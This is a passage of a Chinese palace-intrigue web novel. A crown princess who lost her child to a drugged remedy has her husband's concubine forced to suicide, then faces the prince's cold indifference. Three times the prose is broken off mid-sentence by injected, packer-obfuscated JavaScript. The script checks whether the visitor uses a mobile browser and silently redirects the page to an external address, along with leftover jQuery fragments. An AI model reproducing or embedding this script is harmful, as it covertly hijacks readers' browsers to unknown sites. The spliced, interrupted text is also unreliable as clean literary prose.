从雪地里起身时她没哭,抽剑断指时她没哭,一碗催落药灌下去她没哭。 此刻这一句“受罪了”,她忽然红了眼眶。 “只是……”她的声音碎在喉咙里,像雪落在将凝未凝的冰面,“他分明好过。” 易氏没有答。 不是他变了。是他不必再演了。 易氏蹲下身,将女儿的双足从锦被下托出,替她穿上绣鞋。鞋面是海棠红的妆花缎,鞋头绣着并蒂莲。 “现在不是伤怀的时候。” 她起身,将秦宝宜推到妆台前。铜镜里映出两张面孔,一长一少,轮廓相似,眼神也相似。 “皇上驾崩,”易氏拿起梳子,一下一下替她通发,“无论是你,还是秦家,都要打起精神来。” 秦宝宜望着镜中自己的脸。 二十二岁。眉目还是那副眉目,眼里有什么东西不一样了。 她正要开口,外头响起急促的脚步声。 管家的声音隔着帘子传来,压得很低,但压不住那点惶然: “夫人,娘娘——宫里传出消息,太子殿下下令,为皇上停灵七日。” 秦宝宜霍然回身。 “七日?” 皇帝驾崩,停灵百日是祖制。为何只停七日? “是。”管家垂首,“葬仪极简,太子殿下也在七日后登基。” 他顿了顿,又说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄清观的方向,烈焰冲天。黑烟翻卷着涌入夜空,将一轮残月遮成暗红。古柏的轮廓在火舌舔舐下扭曲、坍缩,像一只只跪倒的巨兽。 她一夹马腹,猛甩一鞭。 枣红骝长嘶一声,四蹄腾空,向火光奔去。 近了。 道观的山门已经烧塌,匾额坠落,焦黑的木片在风里飞旋。火场外围着一队禁军,盔甲上映着跳动的光。 人群中央,立着一人。 玄色大氅,玉冠束发。火光照亮他的侧脸,眉目温润如旧。 沈昱。 他似有所觉,转过头来。 隔着那片火海,隔着焦灼的热浪与漫天的飞灰,他与她四目相对。 他身后,道观轰然塌陷。 火星溅起数丈高,像千万只流萤扑向夜空。 秦宝宜勒马停在火光边缘。枣红骝焦躁地踏着蹄,她收紧缰绳,望着对面那个人。 他站在那儿,身后是废墟,身前是她。 他向她伸出手来。 掌心朝上,稳稳停在她面前。 那手势她太熟悉了。当前海棠树下,他就是这样伸着手,等她放上来。大婚之日,他立在凤舆前,也是这样伸着手,接她步入东宫。 此刻隔着遍地焦木与未熄的火星,他的手悬在夜风里,像五年来从未变过。 “宝宜。” 他的声音穿过夜风传来,温和如旧。 “随朕回宫。” 4. 自尽 秦宝宜先打量了他一下。 那目光从他眉眼滑到肩头,又从肩头掠过他身后的冲天火光,越过列阵的禁军,扫过断了半掌的薛晟,最后重新落回沈昱脸上。 她一歪头,笑得眉眼弯弯。 ——这是她十六岁时的笑法。是她在海棠树下仰头看他时的笑法。是洞房花烛夜,他挑开盖头,她抬眼的瞬间,那样的笑法。 沈昱明显愣住了。 他伸出的手僵在半空,像是没料到她会笑。 他的眉心微微动了一下,又迅速压平,眼底那点怔忪很快被温润覆住。 她的手搭进他掌心里,反手握住。 指腹贴着他的虎口,温热、柔软,与五年来每一次牵手毫无二致。 他也收紧握住她的手。 仿佛这几日的龃龉从未有过。仿佛她只是寻常回了一趟候府省亲,他来接她,接那个永远在东宫等他回来的太子妃。 如果忽视身后的火光冲天的话。 沈昱一定知道她回永靖候府一趟,定然查明了落胎的真相。 秦宝宜也知道他知道。 但谁都没提。 仿佛那个孩子压根儿没来过。 ——因为她若提了,就回不了宫。他若认了,也许就登不了基。 她不提,正合他意。 她被太子妃的权位禁锢着,被秦家百年清誉禁锢着,被那五年自以为是的“两情相悦”禁锢着。 他何尝不也是被皇位禁锢着,被秦家三十万北境铁骑兵符禁锢着,被登基前最后一刻的“夫妻和睦”禁锢着? 这场角力,她输在眼瞎耳聋。 她要回宫,好看清楚,他到底是个什么人。 二人的辇车行过午门时,丧钟余音还在城楼上空盘旋。 沈昱握着她的手,没有松开。他望着辇外,面容沉静,眉间有恰到好处的悲戚。偶尔转过头来看她,目光里便有温和的关切。 “冷么?”他问。 秦宝宜摇头。 他没再说话,只是将她的手拢进自己袖中。 梓宫已经封了,金漆蟠龙的棺盖沉沉压着,再看不见那个在御花园教她放纸鸢的人。 殿内香烟缭绕,经幡垂落如雾,宗亲百官伏跪两侧,哀哭声此起彼伏。 秦宝宜跪在灵前,借着俯身叩首的间隙,目光扫过殿内。 没看到冯坤。 那个在养心殿侍候了三十年的总管太监,那个替她挑开帐幔、让她见皇上最后一面的冯坤,不在这里。 她垂下眼。 冯坤怕是不能活了。 她又看殿内当值的太监宫女——全是东宫的熟面孔。司礼的、掌灯的、捧香盒的、添长明灯的,每一个她都认得。沈昱做太子时的旧人,如今顺理成章接管了整座皇宫。 他已经成为这座宫城的主人。 守到后半夜,沈昱走过来,俯身搀她。 “刚小产完身子虚,先回东宫歇着吧。”他的声音不高不低,恰好能让近旁的宗亲听见。 他需要边境安稳。哪怕他对秦家的兵权磨刀霍霍,也得熬过这段皇位的过渡期。 秦宝宜跪得腿麻,借他的力站起身,却摇了摇头。轻声道:“臣妾想多陪父皇一会儿。” 沈昱的手落在她肩上,力道不重,却不容拒绝:“父皇最心疼你。若在天有灵,也不希望你累着。” 烛火映在他脸上,那眉目仍温润如三月春水。她看着这张看了五年的脸,忽然觉得陌生。 “殿下说得是。”她点点头,话锋一转,“臣妾想与殿下借两个人手。” 沈昱目光微凝。 “做什么?” “臣妾院子里有些脏东西,须得打扫干净。”她抬手,指向不远处的薛晟——他垂首立在殿门阴影里,残掌裹着白布,“就那两个吧。” 周遭的宗亲、大臣虽跪着,耳朵却都竖着。 “薛晟,你带人,随太子妃回东宫。”他果然没拒绝。 秦宝宜屈膝告退。 沈昱扶她时,俯身过来,唇几乎贴着她耳廓,声音压成一线:“别胡闹。” 秦宝宜拍了拍他的手背,浅笑着说:“殿下放心。” 夜风灌进来,带着腊月的寒气,吹得她后颈起了一层细栗。她紧了紧斗篷,脚步不停,一路向东宫行去。 薛晟跟在后面,隔着三步的距离。他的残掌用白布缠着,裹得厚厚一包,在灯笼光里格外扎眼。 秦宝宜没回头看他。 她走得很快,靴底踏过青石板,笃、笃、笃,像敲更。 东宫已经在望。 住院的灯火熄着,但往前再走一程,畅怀轩的方向亮着光。 秦宝宜脚步一转,直奔那光而去。 薛晟愣了一息,快走几步追上去:“娘娘,畅怀轩是窦侧妃的住处——” “本宫知道。” 畅怀轩的门虚掩着,里头透出暖黄的光。隔着窗纸,能看见人影晃动。 秦宝宜推门进去。 窦氏正坐在灯下,揽着四岁的庶长子,手里拿着一块糕点往他嘴里送。孩子嚼着糕,腮帮子鼓鼓囊囊,眉眼像极了沈昱。 听见门响,窦氏抬起头。 看见秦宝宜的刹那,她脸色骤变,下意识搂紧了孩子。但那慌乱只是一闪而过,很快她就起身,将孩子护在身后,屈膝行礼:“娘娘万安。” 秦宝宜没看她,先扫了一眼院子。畅怀轩不大,格局雅致,廊下还摆着几盆她叫不出名的花草。往日她来这儿,窦氏总是殷勤迎出来,端茶倒水,柔声细语。 今日不同。 “别看了。”秦宝宜对窦氏说,“殿下忙着应酬宗亲,没空顾你。” 她转向薛晟:“将孩子带走。” 薛晟没动。 秦宝宜看着他。那目光很平,没什么情绪,只是落在他脸上,像落在一块石头上。 “你知道的。”她轻声说,“等本妃亲自动手,会是个什么收场。” 薛晟的断掌骤然一缩。 那夜的剑光,那落在雪地里弹跳两下的断指,那顺着剑脊往下淌的血——都还在眼前。 “属下不敢。”他垂下眼,对身后两个侍卫道,“带远,好生照看。” 两个侍卫上前,从窦氏怀里往外抱孩子。 窦氏脸色煞白,抱着孩子不撒手,声音发着抖:“娘娘!娘娘!他还小,求您开恩——” 秦宝宜没动。她在想另一个孩子。 那个没来得及出生的,那个只在她腹中待了三个月的,那个已经流进雪地里被新雪覆盖的。 她的孩子。 “让他走。”秦宝宜说,声音比方才低了些,“是为他好。” 窦氏抬起头,对上她的目光,话音卡在喉咙里。 她入东宫一共十二年,从没在秦宝宜脸上见过这种神情。秦宝宜从来待人和颜悦色,从不以家世压人。逢年过节赏赐给她的,从来只比规矩厚,不比规矩薄。 她以为这个太子妃好性儿。以为这样金贵的姑娘,都拉不下脸来撕掳。 此刻她知道了。 不是拉不下脸。是懒得撕掳。 孩子被抱走了。哭声渐渐远去,消失在夜色里。 窦氏跪在地上,发髻散落,衣襟凌乱。她先看了看薛晟,又看了看他的断掌,忽然往前膝行两步,重重叩下头去。 “妾不知何处得罪了娘娘,心中惶恐!求娘娘明示!” 秦宝宜走到主位坐下。 那张椅子是窦氏日常坐的,铺着秋香色坐褥,靠背搭着半旧的弹墨引枕。她靠在引枕上,打量跪在地上的人。 “青黛。”她说,“让侧妃坐着回话。” 青黛搬了张绣墩过来,放在窦氏身侧。 窦氏不敢坐,仍是跪着:“妾不敢。” “怎么不敢了?”秦宝宜的声音懒懒的,像闲话家常,“窦侧妃这些年,不是一直和本宫平起平坐的吗?” 平起平坐——她说的字面意思。 入东宫五年,她不耐烦那些庶务。除了管账以外,迎来送往、打点人情、协理六局——这些琐事,她懒得沾手,都交给窦氏去办。窦氏做事妥帖,从不逾矩,她乐得省心。 如今想来,那些“妥帖”,有多少是替她省心,有多少是替沈昱掩护? 那些配药、抓药、熬药的环节,若要动手脚,怎么可能绕得过窦氏? “本宫今日不是来为难你的。”秦宝宜说,从袖中抽出那两张叠得方正的纸,“是有事请教。” 青黛接过,放到窦氏面前。 两张方子并排放着。一张旧,墨迹泛黄;一张新,纸边齐整。 窦氏低头看着那两张纸,没有动。 “这两张方子,是哪位大夫开的?”秦宝宜问。 窦氏垂着眼,声音平稳:“妾不知。娘娘该问太医院。” “本宫在问你。” “妾确实不知。” 秦宝宜笑了笑。 “这第一张方子的药,是殿下端给本宫喝的。”她说,声音不急不缓,“本宫与殿下夫妻和睦,殿下以为是坐胎药,才让本宫喝。若有错,也不是殿下的错——定是有人暗中换了药,想害本宫。” 她顿了顿,看着窦氏的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214289|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窦氏垂着眼,睫毛一动不动。 秦宝宜又指向第二张方子:“这碗药,是你亲自端来给本宫的。” 窦氏抬起头:“这是补药。药房的宫人都能作证,妾是按方子抓的、按方子煎的、按方子端来的。妾不知——” “补药?”秦宝宜打断她,声音陡然冷下来,“你也知道是补药?” 窦氏的话堵在喉咙里。 秦宝宜盯着她,一字一顿:“若非候府有好大夫,本宫与殿下险些被你瞒了过去。” 窦氏额头沁出汗来,她听出来了——秦宝宜是要她当替死鬼。 她又抬头,向门外张望。 院门处空空荡荡,只有青黛带来的家仆守在那儿。薛晟不知何时已经退了出去,院外隐约有人影晃动,但没有人进来。 “本妃说了。”秦宝宜的声音陡然冷下来,“殿下忙着应酬宗亲,没空见你。” 窦氏一颤。 “东宫这五年,本宫自认待你不薄。”秦宝宜看着她,慢慢说,“窦侧妃就这样等不及,想取而代之?” 她决口不提沈昱。 从头到尾,她只字不提沈昱在那两张方子里扮演什么角色。她只说窦氏,只提内宅,只归咎为争宠。 窦氏跪在那儿,仰着脸看她。汗水顺着鬓角流下来,濡湿了耳边的碎发。她的嘴唇动了动,似乎想说什么,又咽了回去。 她知道秦宝宜在给她指一条路——认了,死你一个。攀咬殿下,死你全家。 “妾冤枉。”她的声音低下去,像从喉咙里挤出来的,“妾真的冤枉……” “不重要了。”秦宝宜站起身。 她活动了一下手腕,活动了一下脖颈,像婚前每次去校场练剑前的热身。然后她从青黛手里接过那把许久没使过的剑——没有出鞘,握着剑柄,剑鞘抵着地面。 她走到窦氏面前。 窦氏跪在地上,仰着头看她。灯火映在她脸上,将那张清秀的面孔照得忽明忽暗。 “你方才说,”秦宝宜低头看着她,“那碗补药,是按方子抓的、煎的、端的。” 窦氏张了张嘴。 “那本宫问你。”秦宝宜的声音很轻,像闲话家常,“这方子,谁开的?” 窦氏不说话。 “谁让你端来的?” 窦氏仍不说话。 “你端来之前,知不知道本宫喝的那坐胎药里有什么?” 窦氏的嘴唇动了动,又抿紧了。 秦宝宜看着她,然后抬起手—— 剑鞘带着风声落下,狠狠砸在窦氏后背上。 砰的一声闷响,像砸在一袋粮食上。 窦氏整个人扑倒在地,半晌爬不起来。她趴在地上,大口喘着气,额头抵着冰凉的砖地,肩膀剧烈起伏。 “这一下,”她说,“是为本宫夭折的孩儿的。” 薛晟冲进来:娘娘!不如请殿下回来做主。” “外朝内庭,各司其职。本宫是太子妃,为殿下分忧之职,难道罚不得她?” 薛晟垂着头,不敢应声,却也没退。 秦宝宜看着他。 这个侍卫跟在沈昱身边多年,忠心耿耿,办事妥帖。那夜在宫门前,他奉命拦她,说的是“请娘娘以殿□□面为重”。此刻他拦她,说的是“不如请殿下回来做主”。 他怕的从来不是她。他怕的是窦氏死了,沈昱那里交代不过去。 “你是殿下的侍卫,”秦宝宜一字一顿,“还是窦侧妃的奴才?” 薛晟叩首:“属下不敢!” 他顿了顿,抬起头来,目光从秦宝宜脸上移向趴在地上的窦氏。 “窦侧妃是东宫侧妃,不好用大刑。娘娘三思。” 秦宝宜微微一笑。 “皇后薨,皇上驾崩,今日起,后宫本宫说了算。” 顿了顿—— “她现在便不是侧妃了。” 窦氏霍然抬头。她怔怔看着秦宝宜,嘴唇哆嗦着,良久,忽然咧嘴笑了一下。 那笑容很奇怪——不是认命,不是恐惧,是——是嘲弄。 “娘娘……”她的声音嘶哑,像砂纸磨过喉咙,“您知道……是谁让妾端来的……您不敢问,不敢查,不敢认……” 秦宝宜不怒反笑,“你或许说得对。本宫是不敢问,不敢查,不敢认。” 窦氏怔了一下。 “可本宫敢杀人。” 秦宝宜把剑递给青黛,走回主位坐下。她靠在引枕上,理了理袖口的褶皱,抬起眼。 “窦氏谋害东宫子嗣、暗害本宫、污太子殿下清誉——赐自尽。” 5. 补偿 等沈昱回到东宫,已是晚膳时分。 檐下灯笼早早点起,暖黄的光透过窗棂漫出来,映在廊前的薄雪上。 殿内飘出饭菜的香气——不是御膳房那些精致却凉透的膳馐,是小厨房现做的热菜,带着茱萸的辛香,是秦宝宜喜欢的鲜辣口味。 她坐在桌边,正小口小口喝着汤。见他进来,眼皮也没抬一下,只是将汤碗往旁边挪了挪,腾出一角桌面。 “殿下一起。” 沈昱的目光在她脸上停了一息,随即在她身侧坐下。 青黛添上碗筷。沈昱接过,却没有立刻动筷,而是先夹了一筷子茱萸蜜饯,放进她面前的碟子里。 那是她最爱吃的。从前她总嫌御膳房做得不够地道,他便命人南下寻了方子,让东宫小厨房学着做。彼时她欢喜得什么似的,一连吃了小半碟,辣得直吸溜气,却还要往嘴里塞。 “薛晟呢?”他问。 秦宝宜夹起那块蜜饯,咬了一口,慢慢嚼着,没有说话。 沈昱也不急,替自己斟了一盏酒,又替她盛了半碗汤,推到她手边。动作自然熟稔,像这五年来每一个寻常的夜晚。 “今日忙,”他端起酒盏,抿了一口,目光落在她侧脸上,“还未问你,与孤借人做了什么?” 秦宝宜咽下那口蜜饯,用帕子按了按嘴角,这才抬起眼。 她的目光落在他脸上,很慢,很稳,像在端详一件从前未及细看的器物。 烛火在他眉眼间投下浅淡的阴影,仍是那副温润如玉的模样,连眉心微微蹙起的弧度都与往日无异。 她忽然笑了一下。 那笑容很短,只来得及在唇边一闪,便收了回去。然后她放下帕子,慢条斯理地开口: “臣妾赐死了窦氏。” 她顿了顿。 “薛晟在看守尸体。” 殿内陡然静下来。 那静不是无声,是所有的声音都被抽空了——炉火噼啪的轻响、窗外风过檐铃的叮当、远处隐约传来的更鼓,都像隔了一层厚厚的棉絮,闷闷的,传不进这方寸之间。 沈昱握着筷子的手,顿在半空。 秦宝宜没有移开视线。她盯着他,等一个答案。 她想知道,那个把她抛在雪地里、任她跪在血泊中头也不回走掉的人,那个对亲生骨肉的生死无动于衷的人——在听到这个消息时,会不会有一丝动容? 毕竟,窦氏从沈昱十三岁起就在身边侍候。 她想知道,他是不是真的没有心。 他猛地放下筷子,筷身磕在瓷沿上,发出一声脆响。然后抬起眼,看她。 四目相对的那一瞬,秦宝宜看见他眼底有什么东西裂开了——像冰面被砸出第一道纹,细密、曲折,从瞳孔深处向外蔓延。 可那神色只存在了一息。 像一颗石子投入深潭,涟漪还未荡开,水面便已重新合拢。他的嘴唇微微张开,却没发出声音。他伸手取过酒盏,仰头饮尽。 酒液入喉,他抬起眼来,声音已经找回来了: “是吗。” 平平淡淡两个字,像在问今晚的汤咸淡。 秦宝宜垂下眼,执壶替他续满。 “尸首就停在畅怀轩,薛晟守着。”她语气也和煦,“证据确凿,臣妾想查出她的手段,不难。” 沈昱没有说话。 他又端起酒盏,又是一饮而尽。酒液顺着喉结滚动,他搁下空盏,重新拿起筷子,夹了一箸茱萸蜜饯放进她碟中,动作与往常别无二致。 “为何不与孤商量?” 秦宝宜歪了歪头,似是不解。 “这是臣妾的职责。”她说,语气理所当然,“臣妾是太子妃,掌东宫内务,处置谋害子嗣的妾室,是本分。殿下为皇上驾崩而伤怀,臣妾不忍打扰。” 她顿了顿,又补了一句: “何况,家丑不可外扬。宗亲都在京中,这事若闹大了……”她看着他,轻轻一笑,“丢脸。” 那“丢脸”二字,她说得极轻,像羽毛落在水面上,连涟漪都没泛起几圈。 可沈昱握着酒盏的手,指节微微泛白。 秦宝宜替自己斟了一盏,端起,手伸过去,轻轻碰了碰他的空杯。 叮—— 一声极轻的脆响。 她仰头饮尽,放下酒盏,这才继续说下去: “于情,她害的是本宫与殿下期盼多年的嫡长嗣;于理,我大齐祖宗家法立嫡不立长,若臣妾怀的是嫡子,她害的便是来日储君。于家,她害的是沈秦两氏君明臣贤的血脉延续;于国……” 她抬起眼,直视着他。 “窦氏所为,有污殿下清名。” 沈昱看着她,没有接话。 “臣妾看在殿下与庶长子的份上,赐她自尽,已是宽宥。”烛火在她眼底跳动,映出两簇小小的光。 殿内又静下来。 炉火噼啪作响,窗外的风声时远时近。青黛早已屏息退到角落,连呼吸都压得极低。 良久,沈昱开口了。 “你变了。”声音很轻,像在说给自己听。 秦宝宜没有避开他的目光。她迎上去,自嘲似的笑了一下。 “变得心慈手软了。”她接道,“若放在以前,秦宝宜会让窦氏活着赎罪。” 又带着惋惜—— “只是,臣妾现在是太子妃,不得不体面着。” 她放下筷子,站起身。 “庶长子没了娘,怪可怜的。”她说,垂着眼整理袖口的褶皱,“殿下去看看他吧。” 她转身欲走,又停住,侧过脸—— “臣妾说过,不养别人的孩子。” 她迈步,向内室走去。 “秦宝宜。” 他的声音从身后传来,不重,却像一根线,倏然勒住了她的脚步。 她停在门槛前,背对着他。 她听见他起身的声音,衣料窸窣,靴底踏过地砖,一步一步,越来越近。然后他的声音响在身后,很近,近得像贴着她的耳廓: “你在怨孤。” 秦宝宜没有回头。 她望着面前那扇阖着的门,雕花的棂格将光影切割成细碎的一片片。她听见自己的声音从喉咙里淌出来,平稳得像一潭死水: “臣妾心疼殿下。” 她顿了顿。 “丧子之痛,父母同心。” 然后她推开门,快步走入内室,反手将门阖上。 门扇合拢的那一瞬,她猛地扑到窗前,推开窗扇。 夜风灌进来,带着腊月的寒气,扑在她脸上,激得她打了个寒颤。她扶着窗棂,大口大口地喘气,像溺水的人终于浮出水面。 怨? 她不知道。 她只知道,方才那一刻,她看着他眼底的裂痕,看着他压抑的愤怒,她心里没有快意,没有解气,只有一片空茫茫的荒芜。 她曾经以为,他会为那个孩子难过。哪怕只是一瞬间,哪怕只是装出来的。 可他没有。 她今日以为,他对窦氏多少有些情分。十年的陪伴,十年的服侍,总该有些不一样的。 可他也没有。 那她呢? 她与他五年夫妻,五年同床共枕,五年她以为的两情相悦——在他眼里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214290|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又算什么? 她不是在争风吃醋。 她只是想知道,那个人有没有心。 不是为了挽回——只是为了给过去的自己,一个交代。 可他的表现,时时刻刻在帮她确认一件事—— 衷情错付。 一炷香后,青黛推门进来。 她脚步很轻,走到秦宝宜身后,压低了声音: “娘娘,殿下去了畅怀轩。” 秦宝宜没有回头。她仍望着窗外那轮被夜雾吞没的残月。 “然后呢?” 青黛顿了顿。 “殿下没有进去。只在院门口站了一会儿,便转身走了。” 秦宝宜的手指微微蜷了一下。 “他让人……将窦氏用草席裹了,扔去城外乱葬岗。” 秦宝宜闭上眼。 他方才那片刻的失态,究竟是因为窦氏,还是因为—— 她挑衅了他的权威。 “还说什么了?”她问。 青黛顿了顿。 “殿下说……”她的声音更低了,“将庶长子给主子您养。” 秦宝宜的心口猛地一窒。 她张了张嘴,想说什么,却发现自己什么都说不出来。 因为她忽然发现,自己脑子里一片空白。那些纷乱的念头、那些翻涌的情绪、那些盘算了一整日的对策——此刻全都消失了,只剩一片茫然。 她努力去想沈昱的脸。那张看了五年的脸,那双带着笑意的温润眼眸。 可她想不起来了。 外面忽然吵闹起来。 脚步声,说话声,还有——孩子的哭声。 秦宝宜转身,推门出去。 院门处灯火通明。沈昱站在那儿,玄色大氅上沾着未化的雪沫。他身旁站着一个孩子——庶长子沈环,四岁,眉眼像极了他。 孩子哭得厉害,满脸泪痕,小脸涨得通红。他被沈昱牵着,踉踉跄跄地往前走,嘴里还在喊着什么。 沈昱看见她出来,停住脚步。 他没有说话,只是松开了牵着孩子的手。 沈环愣了一息,然后看见了她。 那张小脸上的表情一瞬间变了——从恐惧,到愤怒,到—— 他扑上来,被青黛揽住,哭喊着: “是你!是你杀了我娘亲!” 沈昱站在一旁,并不制止。甚至没有移开目光。他就那样看着,像在看一场与他无关的戏。 秦宝宜与他对视。 隔着那个哭得撕心裂肺的孩子,她看见他的眼睛——平静得像一潭死水,连那点裂痕都没有了。 然后他开口了。 “爱妃。” 他的声音穿过夜风传来,温和如旧。 “孤补偿给你个孩子。” 秦宝宜霍然抬头。 她站在这满院的灯火里,忽然觉得冷。 从骨头缝里往外渗的冷。 她慢慢抬起手,覆在沈环的头顶。 孩子的哭声顿了一下,抬起泪眼看她。 她轻轻按了按他的发顶,然后收回手,抬起头,看着沈昱。 月光冷冷地洒在两人之间,像一道无法逾越的深渊。 她没有说话。 她只是看着他,看着这张她看了五年的脸,看着这双她曾经以为藏着世间所有温柔的眼睛。 良久,她笑了一下。 那笑容很短,只来得及在唇边一闪,便收了回去。像冬夜里的最后一盏灯火,被风吹灭,余下一片空茫茫的黑暗。 她不想知道他有没有心了—— 他有。但他用不着。 6. 同眠 沈昱去了李承徽的院子。 李承徽的院子离主院最近,隔着两道粉墙、一条穿廊,琴音能隐隐约约传过来。 此刻那琴音正顺着夜风流淌,清雅婉转,像有人在月下独语,诉着说不尽的情意。 但身后是沈环的哭声。 那孩子被乳娘抱下去了,哭声却仍在夜风里飘散不去,一缕一缕地钻进耳朵。 秦宝宜站在廊下,听着这两股声音—— 荒唐。 像看一出戏,台上锣鼓喧天,台下空无一人,她自己都不知道自己站在这儿做什么。 琴声还在响。 李承徽的琴弹得好,这是东宫上下都知道的事。沈昱常去她那儿听琴,一去便是大半个时辰。 从前秦宝宜不在意——她是正妃,是太子妃,是将来要母仪天下的人,犯不着和妾室争这些。 今夜那琴声却格外刺耳。 不是嫉妒。是那句话——“孤补偿给你个孩子”。 仿佛孩子只是个可以替换的物件。死了一个,补一个就行。 他明知她不愿意。她说过“不养别人的孩子”。庶长子出生那日,她亲口对他说的。那时他握着她的手,说“好”。 如今他把沈环硬塞过来。 这不是补偿。 这是践踏。 她做了那么多,可他只用轻飘飘一句话,把所有的账都平了。 她抬手,按了按眉心。“青黛,我想听琵琶。” 青黛愣了一下,旋即应声出去。 不多时,帘子掀开,进来一个中年女人。 她生得寻常,穿着寻常的教坊司宫装,眉眼间带着一股子寡淡。 她怀里抱着一把琵琶,弦是老弦,木是老木,连绑弦的丝绦都发白了。 她走到角落,也不行礼,只是微微欠了欠身,便坐下。 然后拨弦。 第一声响起来,秦宝宜的手指便轻轻蜷了一下。 那琵琶声冷、硬、像是自言自语。没有讨好,没有逢迎,甚至没有“在弹给人听”的意思。 它就那样响着,一声一声,像冬夜里的更鼓,像雪地里的足印,像—— 像先皇后。 秦宝宜闭上眼,听了一会儿。 这个女人叫翠翠。是宫中乐坊的琵琶女,也是先皇后留给她的帮手。 先皇后把她交给她时,她还不懂什么叫“帮手”。 那时她刚嫁进东宫,满心满眼都是沈昱,以为这世间最大的幸事便是嫁给了心上人。 先皇后握着她的手,说:“宝宜,宫里不比家里,你留个心眼。”她点头,却没往心里去。 此后五年,她几乎没用过翠翠。 在自以为与沈昱两情缱绻的那几年,她的日子围着沈昱转。 她心甘情愿地被他的权力围裹,被他的温柔驯化,被他一点一点地—— 阉割。 东宫的妃妾虽然多,但她竟未感受过勾心斗角。 “就弹个《长相思》。”秦宝宜说。 这是先皇后最喜欢的一首曲子。 翠翠的手指一顿,然后琴音一转,那熟悉的调子流淌出来。 青黛退出去,守在门外。 殿内只剩下琴声。那琴声盖过了远处隐约琴音,一声一声,像潮水漫上来,把这间屋子与外界隔绝开来。 “冯坤呢?”秦宝宜问。 翠翠的手指未停。她的目光落在琴弦上,嘴唇却动了动,声音压成一线,从琴音里透出来: “皇上驾崩后,冯坤没出养心殿。” 秦宝宜的手指轻轻蜷了一下。 “死了?” “大概没有。”翠翠答。她的手指继续拨动,琴音起伏,像在说一件极寻常的事,“若死了,会有消息。如今没消息,便是还活着。” 秦宝宜沉默了一会儿。 活着。留在养心殿。不出来。 这意味着什么? “你……”秦宝宜顿了顿,“都能做什么?” 翠翠的琴音顿了一瞬。 那停顿极短,短到几乎察觉不出,但秦宝宜注意到了。她看见翠翠的手指悬在琴弦上方,停了一息,才重新落下去。 “主子若早有此问,”翠翠的声音从琴音里透出来,低低的,像从地底涌上来的泉水,“翠翠能做的会更多。” 她顿了顿,手指继续拨动。 “皇后娘娘去世后两年,留下的人被太子殿下拔了不少。”她说,“但还有的用。” 秦宝宜没有说话。 两年。那时她正沉浸在“两情缱绻”的幻梦里,沈昱每日下朝都来看她,有时带一捧新摘的海棠,有时是解闷的零嘴。她以为那是世间最好的日子,却不知道他一边哄着她,一边把皇后留下的人一个一个拔掉。 “我要见冯坤。”秦宝宜说。 翠翠的琴音慢下来。手指拂过琴弦,一声一声,像在思量什么。 良久,她说:“奴婢试试。” 话音刚落,殿外忽然传来青黛的声音—— “奴婢给殿下请安。” 下一瞬,门被推开。 夜风灌进来,吹得烛火晃了几晃。 他的目光扫过殿内,扫过角落里的翠翠,扫过她怀里的琵琶,最后落在秦宝宜脸上。 “这么晚了,”他说,声音温和如常,“还不歇着?” 秦宝宜站起身,屈膝行礼:“臣妾睡不着,听听琵琶解闷。” 沈昱没有立刻说话。 他走进来,靴底踏过地砖,一步一步,不疾不徐。经过翠翠身边时,他停了一下,目光落在她怀里的琵琶上,又移开,继续往前走。 他走到秦宝宜面前,低头看她。 烛火映在他脸上,将那眉目照得愈发温润。他抬手,替她拢了拢鬓边的碎发,动作轻柔,与五年来每一个寻常的夜晚别无二致。 “你院子里的琵琶声,”他说,声音不高不低,“将孤赏琴的兴致都搅乱了。” 他说这话时带着笑,像是在说一件趣事。但秦宝宜听出来了,那笑里没有温度。 她垂下眼,对翠翠说:“不听了。退下。” 翠翠抱着琵琶起身,低头往外走。 帘子落下,隔绝了外面的夜色。 殿内只剩下他们两个人。 沈昱走到她身边,坐下。然后他伸出手,将她的手从袖中拉出来,握进掌心里。 很紧,像怕她跑掉。 “不赌气了?”他问。他竟以为她用琵琶搅乱琴音,是在争宠。 秦宝宜没有说话。 她只是任他握着,望着他,脸上没有表情。 不是冷,不是硬,只是一片空白。像一张还没来得及落笔的宣纸,等着被写上什么。 沈昱的眉头微微蹙了一下。 那蹙动很轻,轻到几乎察觉不出。但他很快把它压下去,换上那副熟悉的温润神色。 “窦氏虽是伺候孤多年的人,”他说,声音放得很软,像在哄一个闹脾气的孩子,“但她得罪了你,处置便处置了。” 他顿了顿,看着她。 秦宝宜仍是没有说话。 沈昱握着她的手,拇指轻轻摩挲着她的手背。那动作很轻,很慢,像在安抚一只受惊的小动物。 “沈环、沈琪、沈璋,”他说,“这三个庶子,你喜欢哪个,孤将人送来替你解闷。” 秦宝宜的手指微微一僵。垂下眼,望着被他握着的手。他的手指修长,骨节分明,此刻正紧紧箍着她的,像箍着一件属于他的东西。 她侧过脸,望着他。 “臣妾谢过殿下。”声音客气、平稳、疏离,像在谢一个不太熟的人递过来一杯不想喝的茶。 沈昱的眉头蹙得更深了。 “孤不喜欢你这样。”他说。 